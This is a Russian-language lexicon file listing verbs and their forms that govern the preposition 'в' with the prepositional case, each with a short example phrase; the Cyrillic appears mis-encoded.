rus_verbs:ะฟะพะดะพะทัะตะฒะฐัััั{}, // ะฟะพะดะพะทัะตะฒะฐัััั ะฒ ัะพะฒะตััะตะฝะธะธ ะบัะฐะถะธ
rus_verbs:ะพะฑะพะณะฐัะฐัั{}, // ะพะฑะพะณะฐัะฐัั ะฒ ัะฟะตัะธะฐะปัะฝะพะผ ะฐะฟะฟะฐัะฐัะต
rus_verbs:ะธะทะดะฐัััั{}, // ะธะทะดะฐัััั ะฒ ะดััะณะพะผ ะธะทะดะฐัะตะปัััะฒะต
rus_verbs:ัะฟัะฐะฒะธัั{}, // ัะฟัะฐะฒะธัั ะฒ ะบัััะฐั
ะฝัะถะดั
rus_verbs:ะฟะพะผััััั{}, // ะฟะพะผััััั ะฒ ะฑะฐะฝะต
rus_verbs:ะฟัะพัะบะฐะบะธะฒะฐัั{}, // ะฟัะพัะบะฐะบะธะฒะฐัั ะฒ ัะปะพะฒะฐั
rus_verbs:ะฟะพะฟะธะฒะฐัั{}, // ะฟะพะฟะธะฒะฐัั ะฒ ะบะฐัะต ัะฐะน
rus_verbs:ะพัะพัะผะปััััั{}, // ะพัะพัะผะปััััั ะฒ ัะตะณะธัััะฐัััะต
rus_verbs:ัะธัะธะบะฐัั{}, // ัะธัะธะบะฐัั ะฒ ะบัััะฐั
rus_verbs:ัะบัะฟะธัั{}, // ัะบัะฟะธัั ะฒ ะผะฐะณะฐะทะธะฝะฐั
rus_verbs:ะฟะตัะตะฝะพัะตะฒะฐัั{}, // ะฟะตัะตะฝะพัะตะฒะฐัั ะฒ ะณะพััะธะฝะธัะต
rus_verbs:ะบะพะฝัะตะฝััะธัะพะฒะฐัััั{}, // ะบะพะฝัะตะฝััะธัะพะฒะฐัััั ะฒ ะฟัะพะฑะธัะบะต
rus_verbs:ะพะดะธัะฐัั{}, // ะพะดะธัะฐัั ะฒ ะปะตัั
rus_verbs:ะบะพะฒััะฝััั{}, // ะบะพะฒััะฝััั ะฒ ัั
ะต
rus_verbs:ะทะฐัะตะฟะปะธัััั{}, // ะทะฐัะตะฟะปะธัััั ะฒ ะณะปัะฑะธะฝะต ะดััะธ
rus_verbs:ัะฐะทะณัะตััะธ{}, // ัะฐะทะณัะตััะธ ะฒ ะทะฐะดะฐัะฐั
ะทะฐะปะตะถะธ
rus_verbs:ะทะฐััะพะฟะพัะธัััั{}, // ะทะฐััะพะฟะพัะธัััั ะฒ ะฝะฐัะฐะปะต ัะฟะธัะบะฐ
rus_verbs:ะฟะตัะตัะธัะปััััั{}, // ะฟะตัะตัะธัะปััััั ะฒะพ ะฒะฒะตะดะตะฝะธะธ
rus_verbs:ะฟะพะบะฐัะฐัััั{}, // ะฟะพะบะฐัะฐัััั ะฒ ะฟะฐัะบะต ะฐัััะฐะบัะธะพะฝะพะฒ
rus_verbs:ะธะทะปะพะฒะธัั{}, // ะธะทะปะพะฒะธัั ะฒ ะฟะพะปะต
rus_verbs:ะฟัะพัะปะฐะฒะปััั{}, // ะฟัะพัะปะฐะฒะปััั ะฒ ััะธั
ะฐั
rus_verbs:ะฟัะพะผะพัะธัั{}, // ะฟัะพะผะพัะธัั ะฒ ะปัะถะต
rus_verbs:ะฟะพะดะตะปัะฒะฐัั{}, // ะฟะพะดะตะปัะฒะฐัั ะฒ ะพัะฟััะบะต
rus_verbs:ะฟัะพัััะตััะฒะพะฒะฐัั{}, // ะฟัะพัััะตััะฒะพะฒะฐัั ะฒ ะฟะตัะฒะพะฑััะฝะพะผ ัะพััะพัะฝะธะธ
rus_verbs:ะฟะพะดััะตัะตัั{}, // ะฟะพะดััะตัะตัั ะฒ ะฟะพะดัะตะทะดะต
rus_verbs:ะฟัะธะบัะฟะธัั{}, // ะฟัะธะบัะฟะธัั ะฒ ะผะฐะณะฐะทะธะฝะต
rus_verbs:ะฟะตัะตะผะตัะธะฒะฐัั{}, // ะฟะตัะตะผะตัะธะฒะฐัั ะฒ ะบะฐััััะปะต
rus_verbs:ัะธัะบะฐัั{}, // ัะธัะบะฐัั ะฒ ัะณะปั
rus_verbs:ะบัะฟะฐัั{}, // ะบัะฟะฐัั ะฒ ัะตะฟะปะพะน ะฒะพะดะธัะบะต
rus_verbs:ะทะฐะฒะฐัะธัััั{}, // ะทะฐะฒะฐัะธัััั ะฒ ััะฐะบะฐะฝะต
rus_verbs:ะฟัะธััะปะธัััั{}, // ะฟัะธััะปะธัััั ะฒ ัะณะปั
rus_verbs:ะฟะพัััะตะปััั{}, // ะฟะพัััะตะปััั ะฒ ัะธัะต
rus_verbs:ะฝะฐะฒะตัะธัั{}, // ะฝะฐะฒะตัะธัั ะฒ ะฑะพะปัะฝะธัะต
ะธะฝัะธะฝะธัะธะฒ:ะธะทะพะปะธัะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั }, ะธะฝัะธะฝะธัะธะฒ:ะธะทะพะปะธัะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะธะทะพะปะธัะพะฒะฐัั ะฒ ะบะฐะผะตัะต
ะณะปะฐะณะพะป:ะธะทะพะปะธัะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ะธะทะพะปะธัะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
rus_verbs:ะฝะตะถะธัััั{}, // ะฝะตะถะธััั ะฒ ะฟะพััะตะปัะบะต
rus_verbs:ะฟัะธัะพะผะธัััั{}, // ะฟัะธัะพะผะธัััั ะฒ ัะบะพะปะต
rus_verbs:ัะฐะทะดะฒะพะธัััั{}, // ัะฐะทะดะฒะพะธัััั ะฒ ะณะปะฐะทะฐั
rus_verbs:ะฝะฐะฒะฐะปะธัั{}, // ะฝะฐะฒะฐะปะธัั ะฒ ัะณะปั
rus_verbs:ะทะฐะผััะพะฒะฐัั{}, // ะทะฐะผััะพะฒะฐัั ะฒ ัะบะปะตะฟะต
rus_verbs:ะฟะพัะตะปััััั{}, // ะฟะพัะตะปััััั ะฒ ะบัะพะฝะต ะดัะฑะฐ
rus_verbs:ะฟะพััะณะธะฒะฐัััั{}, // ะฟะพััะณะธะฒะฐัััั ะฒ ะบัะพะฒะฐัะธ
rus_verbs:ัะบะฐัะฐัั{}, // ัะบะฐัะฐัั ะฒ ะฟะพะตะทะดะต
rus_verbs:ะพัะปะตะถะธะฒะฐัััั{}, // ะพัะปะตะถะธะฒะฐัััั ะฒ ะณะฐะผะฐะบะต
rus_verbs:ัะฐะทะผะตะฝััั{}, // ัะฐะทะผะตะฝััั ะฒ ะบะฐััะต
rus_verbs:ะฟัะพะฟะพะปะพัะบะฐัั{}, // ะฟัะพะฟะพะปะพัะบะฐัั ะฒ ัะธััะพะน ัะตะฟะปะพะน ะฒะพะดะต
rus_verbs:ัะถะฐะฒะตัั{}, // ัะถะฐะฒะตัั ะฒ ะฒะพะดะต
rus_verbs:ัะปะธัะธัั{}, // ัะปะธัะธัั ะฒ ะฟะปะฐะณะธะฐัะต
rus_verbs:ะผััะธัััั{}, // ะผััะธัััั ะฒ ะณะพะปะพะฒะต
rus_verbs:ัะฐััะฒะพัััั{}, // ัะฐััะฒะพัััั ะฒ ะฑะตะฝะทะพะปะต
rus_verbs:ะดะฒะพะธัััั{}, // ะดะฒะพะธัััั ะฒ ะณะปะฐะทะฐั
rus_verbs:ะพะณะพะฒะพัะธัั{}, // ะพะณะพะฒะพัะธัั ะฒ ะดะพะณะพะฒะพัะต
rus_verbs:ะฟะพะดะดะตะปะฐัั{}, // ะฟะพะดะดะตะปะฐัั ะฒ ะดะพะบัะผะตะฝัะต
rus_verbs:ะทะฐัะตะณะธัััะธัะพะฒะฐัััั{}, // ะทะฐัะตะณะธัััะธัะพะฒะฐัััั ะฒ ัะพัะธะฐะปัะฝะพะน ัะตัะธ
rus_verbs:ัะฐััะพะปััะตัั{}, // ัะฐััะพะปััะตัั ะฒ ัะฐะปะธะธ
rus_verbs:ะฟะพะฒะพะตะฒะฐัั{}, // ะฟะพะฒะพะตะฒะฐัั ะฒ ะณะพัะพะดัะบะธั
ััะปะพะฒะธัั
rus_verbs:ะฟัะธะฑัะฐัััั{}, // ะณะฝััะฐัััั ะฟัะธะฑัะฐัััั ะฒ ั
ะปะตะฒั
rus_verbs:ะฟะพะณะปะพัะฐัััั{}, // ะฟะพะณะปะพัะฐัััั ะฒ ะผะตัะฐะปะปะธัะตัะบะพะน ัะพะปัะณะต
rus_verbs:ัั
ะฐัั{}, // ัั
ะฐัั ะฒ ะปะตัั
rus_verbs:ะฟะพะดะฟะธััะฒะฐัััั{}, // ะฟะพะดะฟะธััะฒะฐัััั ะฒ ะฟะตัะธัะธะธ
rus_verbs:ะฟะพะบะฐัะฐัั{}, // ะฟะพะบะฐัะฐัั ะฒ ะผะฐัะธะฝะบะต
rus_verbs:ะธะทะปะตัะธัััั{}, // ะธะทะปะตัะธัััั ะฒ ะบะปะธะฝะธะบะต
rus_verbs:ััะตะฟัั
ะฐัััั{}, // ััะตะฟัั
ะฐัััั ะฒ ะผะตัะบะต
rus_verbs:ะบะธะฟััะธัั{}, // ะบะธะฟััะธัั ะฒ ะบะฐััััะปะต
rus_verbs:ะฟะพะฝะฐัััะพะธัั{}, // ะฟะพะฝะฐัััะพะธัั ะฒ ะฟัะธะฑัะตะถะฝะพะน ะทะพะฝะต
rus_verbs:ะฟะตัะตะฑัะฒะฐัั{}, // ะฟะตัะตะฑัะฒะฐัั ะฒะพ ะฒัะตั
ะตะฒัะพะฟะตะนัะบะธั
ััะพะปะธัะฐั
rus_verbs:ะพะณะปะฐัะฐัั{}, // ะพะณะปะฐัะฐัั ะฒ ะธัะพะณะพะฒะพะน ัะฐััะธ
rus_verbs:ะฟัะตััะฟะตะฒะฐัั{}, // ะฟัะตััะฟะตะฒะฐัั ะฒ ะฝะพะฒะพะผ ะฑะธะทะฝะตัะต
rus_verbs:ะบะพะฝััะปััะธัะพะฒะฐัััั{}, // ะบะพะฝััะปััะธัะพะฒะฐัััั ะฒ ัะตั
ะฟะพะดะดะตัะถะบะต
rus_verbs:ะฝะฐะบะฐะฟะปะธะฒะฐัั{}, // ะฝะฐะบะฐะฟะปะธะฒะฐัั ะฒ ะฟะตัะตะฝะธ
rus_verbs:ะฟะตัะตะผะตัะฐัั{}, // ะฟะตัะตะผะตัะฐัั ะฒ ะบะพะฝัะตะนะฝะตัะต
rus_verbs:ะฝะฐัะปะตะดะธัั{}, // ะฝะฐัะปะตะดะธัั ะฒ ะบะพัะธะดะพัะต
rus_verbs:ะฒััะฒะธัััั{}, // ะฒััะฒะธัััั ะฒ ัะตะทัะปััะต
rus_verbs:ะทะฐะฑัะปัะบะฐัั{}, // ะทะฐะฑัะปัะบะฐัั ะฒ ะฑะพะปะพัะต
rus_verbs:ะพัะฒะฐัะธะฒะฐัั{}, // ะพัะฒะฐัะธะฒะฐัั ะฒ ะผะพะปะพะบะต
rus_verbs:ะทะฐะฟัััะฒะฐัััั{}, // ะทะฐะฟัััะฒะฐัััั ะฒ ะฒะตัะตะฒะบะฐั
rus_verbs:ะฝะฐะณัะตัััั{}, // ะฝะฐะณัะตัััั ะฒ ะผะธะบัะพะฒะพะปะฝะพะฒะพะน ะฟะตัะบะต
rus_verbs:ััะฑะฐัะธัั{}, // ััะฑะฐัะธัั ะฒ ะพัะบัััะพะผ ะผะพัะต
rus_verbs:ัะบะพัะตะฝะธัััั{}, // ัะบะพัะตะฝะธัััั ะฒ ัะพะทะฝะฐะฝะธะธ ัะธัะพะบะธั
ะฝะฐัะพะดะฝัั
ะผะฐัั
rus_verbs:ัะผัะฒะฐัั{}, // ัะผัะฒะฐัั ะฒ ัะฐะทะธะบะต
rus_verbs:ะทะฐัะตะบะพัะฐัั{}, // ะทะฐัะตะบะพัะฐัั ะฒ ะฝะพัั
rus_verbs:ะทะฐั
ะพะดะธัััั{}, // ะทะฐั
ะพะดะธัััั ะฒ ะฟะปะฐัะต
ะธะฝัะธะฝะธัะธะฒ:ะธัะบัะฟะฐัั{ ะฒะธะด:ัะพะฒะตัั }, ะธะฝัะธะฝะธัะธะฒ:ะธัะบัะฟะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะธัะบัะฟะฐัั ะฒ ะฟัะพั
ะปะฐะดะฝะพะน ะฒะพะดะธัะบะต
ะณะปะฐะณะพะป:ะธัะบัะฟะฐัั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ะธัะบัะฟะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ะธัะบัะฟะฐะฒ{}, ะดะตะตะฟัะธัะฐััะธะต:ะธัะบัะฟะฐั{},
rus_verbs:ะทะฐะผะพัะพะทะธัั{}, // ะทะฐะผะพัะพะทะธัั ะฒ ั
ะพะปะพะดะธะปัะฝะธะบะต
rus_verbs:ะทะฐะบัะตะฟะปััั{}, // ะทะฐะบัะตะฟะปััั ะฒ ะผะตัะฐะปะปะธัะตัะบะพะผ ะดะตัะถะฐัะตะปะต
rus_verbs:ัะฐัั
ะฒะฐัะฐัั{}, // ัะฐัั
ะฒะฐัะฐัั ะฒ ะผะฐะณะฐะทะธะฝะต
rus_verbs:ะธัััะทะฐัั{}, // ะธัััะทะฐัั ะฒ ัััะตะผะฝะพะผ ะฟะพะดะฒะฐะปะต
rus_verbs:ะทะฐัะถะฐะฒะตัั{}, // ะทะฐัะถะฐะฒะตัั ะฒะพ ะฒะปะฐะถะฝะพะน ะฐัะผะพััะตัะต
rus_verbs:ะพะฑะถะฐัะธะฒะฐัั{}, // ะพะฑะถะฐัะธะฒะฐัั ะฒ ะฟะพะดัะพะปะฝะตัะฝะพะผ ะผะฐัะปะต
rus_verbs:ัะผะตัะตัั{}, // ะขั, ะฟะพะดะปัะน ะฟัะตะดะฐัะตะปั, ัะผัะตัั ะฒ ะฝะธัะตัะต
rus_verbs:ะฟะพะดะพะณัะตัั{}, // ะฟะพะดะพะณัะตะน ะฒ ะผะธะบัะพะฒะพะปะฝะพะฒะบะต
rus_verbs:ะฟะพะดะพะณัะตะฒะฐัั{},
rus_verbs:ะทะฐััะฝััั{}, // ะัะทะฝะตัะธะบะธ, ัะฒะตััะบะธ, ัะบัะธะฟะฐัะธ ะธ ะผะตะดะฒะตะดะบะธ ะทะฐััะฝัะปะธ ะฒ ััะฐะฒะต ัะฒะพั ััะตัะบัััั ะผัะทัะบั
rus_verbs:ะฟัะพะดะตะปะฐัั{}, // ะฟัะพะดะตะปะฐัั ะฒ ััะตะฝะต ะดััั
ะธะฝัะธะฝะธัะธะฒ:ะถะตะฝะธัััั{ ะฒะธะด:ัะพะฒะตัั }, // ะถะตะฝะธัััั ะฒ ะขะตั
ะฐัะต
ะธะฝัะธะฝะธัะธะฒ:ะถะตะฝะธัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะณะปะฐะณะพะป:ะถะตะฝะธัััั{ ะฒะธะด:ัะพะฒะตัั },
ะณะปะฐะณะพะป:ะถะตะฝะธัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ะถะตะฝะธะฒัะธัั{},
ะดะตะตะฟัะธัะฐััะธะต:ะถะตะฝััั{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะถะตะฝะฐััะน{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะถะตะฝะธะฒัะธะนัั{ะฒะธะด:ัะพะฒะตัั},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะถะตะฝััะธะนัั{},
rus_verbs:ะฒัั
ัะฐะฟะฝััั{}, // ะฒัั
ัะฐะฟะฝััั ะฒะพ ัะฝะต
rus_verbs:ะฒัั
ัะฐะฟัะฒะฐัั{}, // ะฒัั
ัะฐะฟัะฒะฐัั ะฒะพ ัะฝะต
rus_verbs:ะฒะพัะพัะฐัััั{}, // ะกะพะฑะฐะบะฐ ะฒะพัะพัะฐะตััั ะฒะพ ัะฝะต
rus_verbs:ะฒะพััะพะทะดะฐะฒะฐัััั{}, // ะฒะพััะพะทะดะฐะฒะฐัััั ะฒ ะฟะฐะผััะธ
rus_verbs:ะฐะบะบะปะธะผะฐัะธะทะธัะพะฒะฐัััั{}, // ะฐะปัะฟะธะฝะธััั ะณะพัะพะฒัััั ะฐะบะบะปะธะผะฐัะธะทะธัะพะฒะฐัััั ะฒ ะณะพัะฐั
ะธะฝัะธะฝะธัะธะฒ:ะฐัะฐะบะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะฒะทะฒะพะด ะฑัะป ะฐัะฐะบะพะฒะฐะฝ ะฒ ะปะตัั
ะธะฝัะธะฝะธัะธะฒ:ะฐัะฐะบะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั },
ะณะปะฐะณะพะป:ะฐัะฐะบะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะณะปะฐะณะพะป:ะฐัะฐะบะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั },
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐัะฐะบะพะฒะฐะฝะฝัะน{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐัะฐะบะพะฒะฐะฒัะธะน{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐัะฐะบัััะธะน{},
ะธะฝัะธะฝะธัะธะฒ:ะฐะบะบัะผัะปะธัะพะฒะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั}, // ัะฝะตัะณะธั ะฑัะปะฐ ะฐะบะบัะผัะปะธัะพะฒะฐะฝะฐ ะฒ ะฟะตัะตะฝะธ
ะธะฝัะธะฝะธัะธะฒ:ะฐะบะบัะผัะปะธัะพะฒะฐัั{ะฒะธะด:ัะพะฒะตัั},
ะณะปะฐะณะพะป:ะฐะบะบัะผัะปะธัะพะฒะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะณะปะฐะณะพะป:ะฐะบะบัะผัะปะธัะพะฒะฐัั{ะฒะธะด:ัะพะฒะตัั},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐะบะบัะผัะปะธัะพะฒะฐะฝะฝัะน{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐะบะบัะผัะปะธััััะธะน{},
//ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐะบะบัะผัะปะธัะพะฒะฐะฒัะธะน{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐะบะบัะผัะปะธัะพะฒะฐะฒัะธะน{ ะฒะธะด:ัะพะฒะตัั },
rus_verbs:ะฒัะธัะพะฒัะฒะฐัั{}, // ะฒัะธัะพะฒัะฒะฐัั ะฝะพะฒะพะณะพ ะฟะตััะพะฝะฐะถะฐ ะฒ ะฐะฝะธะผะฐัะธั
rus_verbs:ะฒััะฐััะธ{}, // ะะฝ ะฒััะพั ะฒ ะณะปะฐะทะฐั
ะบะพะปะปะตะณ.
rus_verbs:ะธะผะตัั{}, // ะะฝ ะฒัะตะณะดะฐ ะธะผะตะป ะฒ ัะตะทะตัะฒะต ะพัััะพะต ัะปะพะฒัะพ.
rus_verbs:ัะฑะธัั{}, // ัะฑะธัั ะฒ ัะตะฑะต ะทะฒะตัั
ะธะฝัะธะฝะธัะธะฒ:ะฐะฑัะพัะฑะธัะพะฒะฐัััั{ ะฒะธะด:ัะพะฒะตัั }, // ะถะธะดะบะพััั ะฐะฑัะพัะฑะธััะตััั ะฒ ะฟะพะณะปะพัะฐััะตะน ัะบะฐะฝะธ
ะธะฝัะธะฝะธัะธะฒ:ะฐะฑัะพัะฑะธัะพะฒะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะณะปะฐะณะพะป:ะฐะฑัะพัะฑะธัะพะฒะฐัััั{ ะฒะธะด:ัะพะฒะตัั },
ะณะปะฐะณะพะป:ะฐะฑัะพัะฑะธัะพะฒะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
rus_verbs:ะฟะพััะฐะฒะธัั{}, // ะฟะพััะฐะฒะธัั ะฒ ัะณะปั
rus_verbs:ัะถะธะผะฐัั{}, // ัะถะธะผะฐัั ะฒ ะบัะปะฐะบะต
rus_verbs:ะณะพัะพะฒะธัััั{}, // ะฐะปัะฟะธะฝะธััั ะณะพัะพะฒัััั ะฐะบะบะปะธะผะฐัะธะทะธัะพะฒะฐัััั ะฒ ะณะพัะฐั
rus_verbs:ะฐะบะบัะผัะปะธัะพะฒะฐัััั{}, // ัะฝะตัะณะธั ะฐะบะบัะผัะปะธััะตััั ะฒ ะถะธัะพะฒัั
ะพัะปะพะถะตะฝะธัั
ะธะฝัะธะฝะธัะธะฒ:ะฐะบัะธะฒะธะทะธัะพะฒะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะฒ ะณะพัะฐั
ะฐะบัะธะฒะธะทะธัะพะฒะฐะปะธัั ะฟะพะฒััะฐะฝัั
ะธะฝัะธะฝะธัะธะฒ:ะฐะบัะธะฒะธะทะธัะพะฒะฐัััั{ ะฒะธะด:ัะพะฒะตัั },
ะณะปะฐะณะพะป:ะฐะบัะธะฒะธะทะธัะพะฒะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะณะปะฐะณะพะป:ะฐะบัะธะฒะธะทะธัะพะฒะฐัััั{ ะฒะธะด:ัะพะฒะตัั },
rus_verbs:ะฐะฟัะพะฑะธัะพะฒะฐัั{}, // ะฟะธะปะพั ะฐะฟัะพะฑะธัะพะฒะฐะป ะฒ ั
ะพะดะต ะธัะฟััะฐะฝะธะน ะฝะพะฒัะน ัะตะถะธะผ ะฟะปะฐะฝะตัะฐ
rus_verbs:ะฐัะตััะพะฒะฐัั{}, // ะฝะฐัะบะพะดะธะปะตั ะฑัะป ะฐัะตััะพะฒะฐะฝ ะฒ ะฟะพะผะตัะตะฝะธะธ ะบะฐัะต
rus_verbs:ะฑะฐะทะธัะพะฒะฐัั{}, // ัััะฐะฝะพะฒะบะฐ ะฑัะดะตั ะฑะฐะทะธัะพะฒะฐะฝะฐ ะฒ ะปะตัั
rus_verbs:ะฑะฐัะฐั
ัะฐัััั{}, // ะดะตัะธ ะฑะฐัะฐั
ัะฐะปะธัั ะฒ ะฒะพะดะต
rus_verbs:ะฑะฐััะธะบะฐะดะธัะพะฒะฐัััั{}, // ะฟัะตัััะฟะฝะธะบะธ ะฑะฐััะธะบะฐะดะธัััััั ะฒ ะฟะพะผะตัะตะฝะธะธ ะฑะฐะฝะบะฐ
rus_verbs:ะฑะฐัััะฒะพะฒะฐัั{}, // ะกะตะผะตะฝ ะกะตะผะตะฝะพะฒะธั ะฑะฐัััะฒะพะฒะฐะป ะฒ ัะฒะพะตะน ะดะตัะตะฒะฝะต
rus_verbs:ะฑะตััะธะฝััะฒะพะฒะฐัั{}, // ะะพะตะฒะธะบะธ ะฑะตััะธะฝััะฒะพะฒะฐะปะธ ะฒ ะทะฐั
ะฒะฐัะตะฝะฝะพะผ ัะตะปะต
rus_verbs:ะฑะปะฐะถะตะฝััะฒะพะฒะฐัั{}, // ะะพัะพะฑัะธ ะฑะปะฐะถะตะฝััะฒะพะฒะฐะปะธ ะฒ ะบัะพะฝะต ััะฑะธะฝั
rus_verbs:ะฑะปัะถะดะฐัั{}, // ะขััะธััั ะฑะปัะถะดะฐะปะธ ะฒ ะปะตัั
rus_verbs:ะฑัะฐัั{}, // ะะตะฝะฐ ะฑะตัะตั ะดะตะฝัะณะธ ะฒ ััะผะฑะพัะบะต
rus_verbs:ะฑัะพะดะธัั{}, // ะฟะฐัะพัะบะธ ะฑัะพะดะธะปะธ ะฒ ะฟะฐัะบะต
rus_verbs:ะพะฑะพะนัะธ{}, // ะัะฐะทะธะปะธั ะพะฑะพัะปะฐ ะ ะพััะธั ะฒ ัะตะนัะธะฝะณะต
rus_verbs:ะทะฐะดะตัะถะฐัั{}, // ะะฝะฐะผะตะฝะธััะน ัะพะฒะตััะบะธะน ัะธะณััะธัั ะทะฐะดะตัะถะฐะฝ ะฒ ะกะจะ
rus_verbs:ะฑัะปััั
ะฐัััั{}, // ะะพะณะธ ะฑัะปััั
ะฐัััั ะฒ ะฒะพะดะต
rus_verbs:ะฒะฐัะธัััั{}, // ะััะธัะฐ ะฒะฐัะธััั ะฒ ะบะฐััััะปะต
rus_verbs:ะทะฐะบะพะฝัะธัััั{}, // ะญัะฐ ัะตัะตััะธั ะทะฐะบะพะฝัะธะปะฐัั ะฒ 2003 ะณะพะดั
rus_verbs:ะฟัะพะบัััะธะฒะฐัััั{}, // ะะปัั ะฟัะพะบัััะธะฒะฐะตััั ะฒ ะทะฐะผะบะต
rus_verbs:ะฟัะพะบัััะธัััั{}, // ะะปัั ััะธะถะดั ะฟัะพะบัััะธะปัั ะฒ ะทะฐะผะบะต
rus_verbs:ั
ัะฐะฝะธัััั{}, // ะะฐัััะพะนะบะธ ั
ัะฐะฝัััั ะฒ ัะตะบััะพะฒะพะผ ัะฐะนะปะต
rus_verbs:ัะพั
ัะฐะฝััััั{}, // ะะฐัััะพะนะบะธ ัะพั
ัะฐะฝััััั ะฒ ัะตะบััะพะฒะพะผ ัะฐะนะปะต
rus_verbs:ะฒะธัะฐัั{}, // ะะฐะปััะธะบ ะฒะธัะฐะตั ะฒ ะพะฑะปะฐะบะฐั
rus_verbs:ะฒะปะฐะดััะตััะฒะพะฒะฐัั{}, // ะะพัะพะปั ะฒะปะฐะดััะตััะฒัะตั ะฒ ัััะฐะฝะต
rus_verbs:ะฒะปะฐััะฒะพะฒะฐัั{}, // ะะปะธะณะฐัั
ะธ ะฒะปะฐััะฒะพะฒะฐะปะธ ะฒ ัััะฐะฝะต
rus_verbs:ะฒะพะทะฑัะดะธัั{}, // ะฒะพะทะฑัะดะธัั ะฒ ัะตัะดัะต ัะพัะบั
rus_verbs:ะฒะพะทะฑัะถะดะฐัั{}, // ะฒะพะทะฑัะถะดะฐัั ะฒ ัะตัะดัะต ัะพัะบั
rus_verbs:ะฒะพะทะฒััะธัััั{}, // ะฒะพะทะฒััะธัััั ะฒ ะณะปะฐะทะฐั
ัะพะฒัะตะผะตะฝะฝะธะบะพะฒ
rus_verbs:ะฒะพะทะถะตัั{}, // ะฒะพะทะถะตัั ะฒ ั
ัะฐะผะต ะพะณะพะฝั
rus_verbs:ะฒะพะทะถะตัััั{}, // ะะณะพะฝั ะฒะพะทะถัะณัั ะฒ ั
ัะฐะผะต
rus_verbs:ะฒะพะทะถะธะณะฐัั{}, // ะฒะพะทะถะธะณะฐัั ะฒ ั
ัะฐะผะต ะพะณะพะฝั
rus_verbs:ะฒะพะทะถะธะณะฐัััั{}, // ะะณะพะฝั ะฒะพะทะถะธะณะฐะตััั ะฒ ั
ัะฐะผะต
rus_verbs:ะฒะพะทะฝะฐะผะตัะธะฒะฐัััั{}, // ะฒะพะทะฝะฐะผะตัะธะฒะฐัััั ัะนัะธ ะฒ ะผะพะฝะฐััััั
rus_verbs:ะฒะพะทะฝะฐะผะตัะธัััั{}, // ะฒะพะทะฝะฐะผะตัะธัััั ัะนัะธ ะฒ ะผะพะฝะฐััััั
rus_verbs:ะฒะพะทะฝะธะบะฐัั{}, // ะะพะฒัะต ะธะดะตะธ ะฝะตะพะถะธะดะฐะฝะฝะพ ะฒะพะทะฝะธะบะฐัั ะฒ ะบะพะปะธะฝะพะน ะณะพะปะพะฒะต
rus_verbs:ะฒะพะทะฝะธะบะฝััั{}, // ะะพะฒัะต ะธะดะตะนะบะธ ะฒะพะทะฝะธะบะปะธ ะฒ ะณะพะปะพะฒะต
rus_verbs:ะฒะพะทัะพะดะธัััั{}, // ะฒะพะทัะพะดะธัััั ะฒ ะฝะพะฒะพะผ ะบะฐัะตััะฒะต
rus_verbs:ะฒะพะทัะพะถะดะฐัั{}, // ะฒะพะทัะพะถะดะฐัั ะฒ ะฝะพะฒะพะผ ะบะฐัะตััะฒะต
rus_verbs:ะฒะพะทัะพะถะดะฐัััั{}, // ะฒะพะทัะพะถะดะฐัััั ะฒ ะฝะพะฒะพะผ ะฐะผะฟะปัะฐ
rus_verbs:ะฒะพัะพัะธัั{}, // ะฒะพัะพัะธัั ะฒ ะบะฐะผะธะฝะต ะบะพัะตัะณะพะน ะทะพะปั
rus_verbs:ะฒะพัะฟะตะฒะฐัั{}, // ะะพััั ะฒะพัะฟะตะฒะฐัั ะณะตัะพะตะฒ ะฒ ะพะดะฐั
rus_verbs:ะฒะพัะฟะตะฒะฐัััั{}, // ะะตัะพะธ ะฒะพัะฟะตะฒะฐัััั ะฒ ะพะดะฐั
ะฟะพััะฐะผะธ
rus_verbs:ะฒะพัะฟะตัั{}, // ะะพััั ะฒะพัะฟะตะปะธ ะฒ ััะพะน ะพะดะต ะณะตัะพะตะฒ
rus_verbs:ะฒะพัะฟัะตัะธัั{}, // ะฒะพัะฟัะตัะธัั ะฒ ะฟะพะผะตัะตะฝะธะธ ะฐะทะฐััะฝัะต ะธะณัั
rus_verbs:ะฒะพััะปะฐะฒะธัั{}, // ะะพััั ะฒะพััะปะฐะฒะธะปะธ ะฒ ะพะดะฐั
rus_verbs:ะฒะพััะปะฐะฒะปััั{}, // ะะพััั ะฒะพััะปะฐะฒะปััั ะฒ ะพะดะฐั
rus_verbs:ะฒะพััะปะฐะฒะปััััั{}, // ะะตัะพั ะฒะพััะปะฐะฒะปััััั ะฒ ะพะดะฐั
rus_verbs:ะฒะพััะพะทะดะฐัั{}, // ะฒะพััะพะทะดะฐะตั ะฒ ะฟะฐะผััะธ ะพะฑัะฐะท ัะตะปะพะฒะตะบะฐ
